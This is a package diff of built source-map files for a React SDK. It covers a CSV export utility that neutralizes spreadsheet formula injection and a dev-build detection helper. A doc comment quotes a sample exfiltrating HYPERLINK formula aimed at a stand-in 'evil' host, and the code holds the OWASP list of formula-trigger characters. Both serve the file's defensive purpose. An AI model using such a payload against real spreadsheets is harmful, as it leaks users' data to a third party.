formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Text holding a `,`, `;` or TAB is also quoted whatever the delimiter\n     * (#481): a spreadsheet whose list separator is not the file's would otherwise\n     * split the bare field there and could start a cell with `=`. A quoted field is\n     * not split, so the quotes close that path without touching the text —\n     * `x;=1+2` is written `\"x;=1+2\"`.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged and only the delimiter, quotes\n     * and line breaks decide the quoting.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * Only the field start is checked. A `,`, `;` or TAB inside the text does not\n * get a `'` after it: the field is quoted (see {@link escapeField}), a quoted\n * field is not split by a spreadsheet whatever its list separator, and a `'`\n * mid-text would corrupt the value in every spreadsheet for no protection.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Characters a spreadsheet may split a bare field on: either locale's list\n * separator (`,` in en-US, `;` in pt-BR) and TAB, which Excel's import also\n * offers. A file written with one delimiter is routinely opened by a spreadsheet\n * that splits on the other, so text holding any of them is quoted (see\n * {@link escapeField}).\n */\nconst LIST_SEPARATORS = /[,;\\t]/;\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. With\n * `guardSeparators`, a text field holding any list separator (`,`, `;`, TAB —\n * see {@link LIST_SEPARATORS}) is quoted as well, whatever the delimiter, so a\n * spreadsheet that splits on the other locale's separator keeps it in one cell\n * (#481). A plain number is left out of that rule: it cannot carry a formula,\n * and `-1.234,56` in a `;` file stays as it was. Fields that need none of this\n * are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @param guardSeparators - Also quote text holding the other list separators;\n *   on whenever formula neutralization is.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string, guardSeparators: boolean): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        (guardSeparators && LIST_SEPARATORS.test(value) && !PLAIN_NUMBER.test(value)) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) =>\n                escapeField(\n                    cellText(column.header, neutralizeFormulas),\n                    delimiter,\n                    neutralizeFormulas,\n                ),\n            )\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key as string];\n            return escapeField(cellText(raw, neutralizeFormulas), delimiter, neutralizeFormulas);\n        });\n        lines.push(cells.join(delimiter));\n    }\n\n    return `${bom ? BOM : \"\"}${lines.join(\"\\r\\n\")}`;\n}\n\n/**\n * Build a CSV and hand it to the user.\n *\n * Goes through {@link shareOrDownloadBlob}, so on a phone it opens the native\n * share sheet and everywhere else it downloads — the same path every other\n * generated artifact in the SDK takes, instead of a fourth hand-rolled `<a\n * download>`.\n *\n * @example\n * await downloadCsv(users, COLUMNS, \"usuarios.csv\");\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param fileName - File name offered to the user. Default `\"export.csv\"`.\n * @param options - Delimiter, BOM and formula neutralization, forwarded to\n *   {@link toCsv}.\n * @returns A promise that resolves once the share or download completes.\n */\nexport async function downloadCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    fileName = \"export.csv\",\n    options: CsvOptions = {},\n): Promise<void> {\n    const blob = new Blob([toCsv(rows, columns, options)], {\n        type: \"text/csv;charset=utf-8\",\n    });\n    await shareOrDownloadBlob(blob, fileName);\n}\n"],"mappings":";;AAqBA,IAAMA,IAAM,KA4DNC,IAAkB,gBAQlBC,IAAe;AAyBrB,SAASC,EAAkB,GAAuB;CAE9C,OADIC,MAAU,OAAOF,EAAa,KAAKE,CAAK,IAAUA,IAC/CH,EAAgB,KAAKG,CAAK,IAAI,IAAIA,MAAUA;AACvD;AASA,IAAMC,IAAkB;AAoBxB,SAASC,EAAY,GAAe,GAAmB,GAAkC;CAQrF,OANIF,EAAM,SAASG,CAAS,KACvBC,KAAmBH,EAAgB,KAAKD,CAAK,KAAK,CAACF,EAAa,KAAKE,CAAK,KAC3EA,EAAM,SAAS,IAAG,KAClBA,EAAM,SAAS,IAAI,KACnBA,EAAM,SAAS,IAAI,IAEhB,IAAIA,EAAM,WAAW,MAAK,MAAI,EAAE,KADhBA;AAE3B;AAiBA,SAASK,EAAS,GAAgB,GAA6B;CAM3D,OALIL,KAAU,OAAoC,KAC9C,OAAOA,KAAU,YAAY,OAAOA,KAAU,YAAY,OAAOA,KAAU,YACpE,OAAOA,CAAK,IAEnBA,aAAiB,OAAaA,EAAM,YAAY,IAC7CM,IAAaP,EAAkB,OAAOC,CAAK,CAAC,IAAI,OAAOA,CAAK;AACvE;AAwBA,SAAgBO,EACZ,GACA,GACA,IAAsB,CAAC,GACjB;CACN,IAAM,EAAE,eAAY,KAAK,SAAM,IAAM,wBAAqB,OAASC,GAE7DC,IAAQ,CACVC,EACK,KAAK,MACFR,EACIG,EAASM,EAAO,QAAQC,CAAkB,GAC1CT,GACAS,CACJ,CACJ,CAAC,CACA,KAAKT,CAAS,CACvB;CAEA,KAAK,IAAMU,KAAOC,GAAM;EACpB,IAAMC,IAAQL,EAAQ,KAAK,MAIhBR,EAAYG,EAHPM,EAAO,MACbA,EAAO,IAAIE,CAAG,IACbA,EAAgCF,EAAO,MACbC,CAAkB,GAAGT,GAAWS,CAAkB,CACtF;EACD,EAAM,KAAKG,EAAM,KAAKZ,CAAS,CAAC;CACpC;CAEA,OAAO,GAAGa,IAAMpB,IAAM,KAAKa,EAAM,KAAK,MAAM;AAChD;AAoBA,eAAsBQ,EAClB,GACA,GACA,IAAW,cACX,IAAsB,CAAC,GACV;CACb,IAAMC,IAAO,IAAI,KAAK,CAACX,EAAMO,GAAMJ,GAASF,CAAO,CAAC,GAAG,EACnD,MAAM,yBACV,CAAC;CACD,MAAMW,EAAoBD,GAAME,CAAQ;AAC5C"}

package/dist/utils/dev-mode.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"dev-mode.cjs","names":[],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":"AAkEA,IAAI,EAmDJ,SAAgB,EAAY,EAAkC,CAC1D,EAAqB,CACzB,CAEA,SAAgB,GAAsB,CAClC,GAAI,IAAuB,IAAA,GAAW,OAAO,EAC7C,GAAI,CACA,OAAA,QAAA,IAAA,WAAgC,YACpC,MAAQ,CACJ,MAAO,EACX,CACJ"}
+{"version":3,"file":"dev-mode.cjs","names":["configuredDevBuild","setDevBuild","value","isDevBuild"],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":"AAkEA,IAAIA,EAmDJ,SAAgBC,EAAY,EAAkC,CAC1D,EAAqBC,CACzB,CAEA,SAAgBC,GAAsB,CAClC,GAAIH,IAAuB,IAAA,GAAW,OAAOA,EAC7C,GAAI,CACA,OAAA,QAAA,IAAA,WAAgC,YACpC,MAAQ,CACJ,MAAO,EACX,CACJ,C"}

package/dist/utils/dev-mode.js.map

@@ -1 +1 @@
-{"version":3,"file":"dev-mode.js","names":[],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":";AAkEA,IAAI;AAmDJ,SAAgB,EAAY,GAAkC;CAC1D,IAAqB;AACzB;AAEA,SAAgB,IAAsB;CAClC,IAAI,MAAuB,KAAA,GAAW,OAAO;CAC7C,IAAI;EACA,OAAA,QAAA,IAAA,aAAgC;CACpC,QAAQ;EACJ,OAAO;CACX;AACJ"}
+{"version":3,"file":"dev-mode.js","names":["configuredDevBuild","setDevBuild","value","isDevBuild"],"sources":["../../src/utils/dev-mode.ts"],"sourcesContent":["/**\n * {@link isDevBuild} stays internal, imported by path (`../utils/dev-mode`)\n * rather than through the `utils` barrel: re-exporting it would make a one-line\n * env read part of the package's public API, with the semver weight that\n * carries, for something no consumer asked for. Every dev-only diagnostic in\n * the SDK routes through it — `grep -rn \"dev-mode\" src/` for the current list,\n * which an enumeration written here would only drift away from.\n *\n * {@link setDevBuild} is public, because a context nothing compiles cannot be\n * detected from the inside. See its doc for when that is.\n */\n\n/**\n * Whether the consuming app was built for development.\n *\n * Reads `process.env.NODE_ENV`, which every supported bundler replaces with a\n * literal **while building the app** — Vite included. That last word is a\n * correction: this doc used to claim Vite substitutes neither half, so every\n * dev-only diagnostic in the SDK was unreachable under `vite dev`. Measured on\n * 2026-09-07 with 0.61.0 installed into a probe app, both from a packed tarball\n * (a real copy under `node_modules`, which Vite pre-bundles) and from a `file:`\n * link (a symlink it does not), reading back the module the dev server actually\n * served:\n *\n * | Vite | `vite dev` | `vite build` |\n * | --- | --- | --- |\n * | 5.4.21, 6.4.3, 7.3.6 | folded to `true` | folded to `false` |\n * | 8.2.2 | `\"development\" !== \"production\"` | folded to `false` |\n *\n * So this answers correctly in a Vite app on its own, in development and in\n * production, pre-bundled or served through the dev server's transform. The\n * wrong belief survived releases because nobody read the served module — the\n * expression is not substituted in a *browser console*, which is where it is\n * natural to go looking.\n *\n * `import.meta.env.DEV` still cannot be used here: Vite would replace it while\n * building *this package*, so the published artifact would carry the constant\n * and every guard behind it would be dead code no app could switch back on.\n *\n * The expression is written out in full, and the failure is caught rather than\n * guarded against. A `typeof process === \"undefined\"` check would read as the\n * careful version and quietly break the environments that work: substitution\n * replaces the member expression `process.env.NODE_ENV` and nothing else, so\n * the guard would return early in front of a literal that had already been\n * swapped in. The identifier itself never exists at runtime — `typeof process`\n * is `\"undefined\"` in the page, measured in the same probe — which is exactly\n * why the read is wrapped in `try` instead.\n *\n * Returns `false` when the read throws, which is the context nothing\n * transformed: a raw service-worker script, a plain `<script type=\"module\">`, a\n * bundler substituting nothing. Staying quiet there is deliberate — a dev-only\n * warning that cannot prove it is in development is better silent than shouting\n * in someone's production console.\n *\n * {@link setDevBuild} overrides all of it and is checked first.\n *\n * @returns Whether development-only diagnostics should run.\n *\n * @example\n * if (isDevBuild()) console.warn(\"[my-app] this prop combination does nothing\");\n *\n * @tempest-limits empty-catch — the only thing the read can throw is the\n * environment answering \"not defined\", which is the return value, not an error\n * worth reporting. Logging it would print on every call in exactly the context\n * that has nowhere to print.\n */\nlet configuredDevBuild: boolean | undefined;\n\n/**\n * Tell the SDK whether the app around it was built for development.\n *\n * Call it once, at bootstrap, from a context {@link isDevBuild} cannot read:\n *\n * ```ts\n * import { setDevBuild } from \"tempest-react-sdk\";\n *\n * setDevBuild(import.meta.env.DEV);\n * ```\n *\n * **When you need it.** Not for an ordinary Vite, webpack, Rspack or Parcel\n * app: all of them substitute `process.env.NODE_ENV` while building the app, so\n * the automatic read already answers correctly there — measured for Vite 5\n * through 8 in {@link isDevBuild}, whose doc carries the table. What is left is\n * the context nothing compiles or nothing configures:\n *\n * - code no bundler transformed — a raw service-worker script registered as a\n *   file of its own, a plain `<script type=\"module\">`;\n * - a staging or QA build that never sets `NODE_ENV=production`, where the\n *   automatic answer is `true` and `parseResponse` would put the raw response\n *   payload in an error string seen by real users. `setDevBuild(false)` closes\n *   that;\n * - a test that wants the other branch, and puts it back on the way out.\n *\n * `import.meta.env.DEV` cannot be read by the SDK on your behalf, which is why\n * the signal is a parameter: Vite would replace it while building *this\n * package*, and the published artifact would ship the constant.\n *\n * The default stays `false` when the read throws. `parseResponse` puts the raw\n * response payload in its message when this is on, so guessing `true` in a\n * context that cannot prove it leaks a payload into a production error string.\n * Silence is the safe default; the report is one line away for anyone who wants\n * it.\n *\n * Passing `undefined` clears the override and returns to automatic detection,\n * which is what a test that set it should do on the way out.\n *\n * @param value - `true` for a development build, `false` for production,\n *     `undefined` to go back to detecting it.\n *\n * @example\n * // A service worker, or any context no bundler transformed\n * setDevBuild(false);\n *\n * @example\n * // A test that flips it, and puts it back\n * afterEach(() => setDevBuild(undefined));\n */\nexport function setDevBuild(value: boolean | undefined): void {\n    configuredDevBuild = value;\n}\n\nexport function isDevBuild(): boolean {\n    if (configuredDevBuild !== undefined) return configuredDevBuild;\n    try {\n        return process.env.NODE_ENV !== \"production\";\n    } catch {\n        return false;\n    }\n}\n"],"mappings":";AAkEA,IAAIA;AAmDJ,SAAgBC,EAAY,GAAkC;CAC1D,IAAqBC;AACzB;AAEA,SAAgBC,IAAsB;CAClC,IAAIH,MAAuB,KAAA,GAAW,OAAOA;CAC7C,IAAI;EACA,OAAA,QAAA,IAAA,aAAgC;CACpC,QAAQ;EACJ,OAAO;CACX;AACJ"}

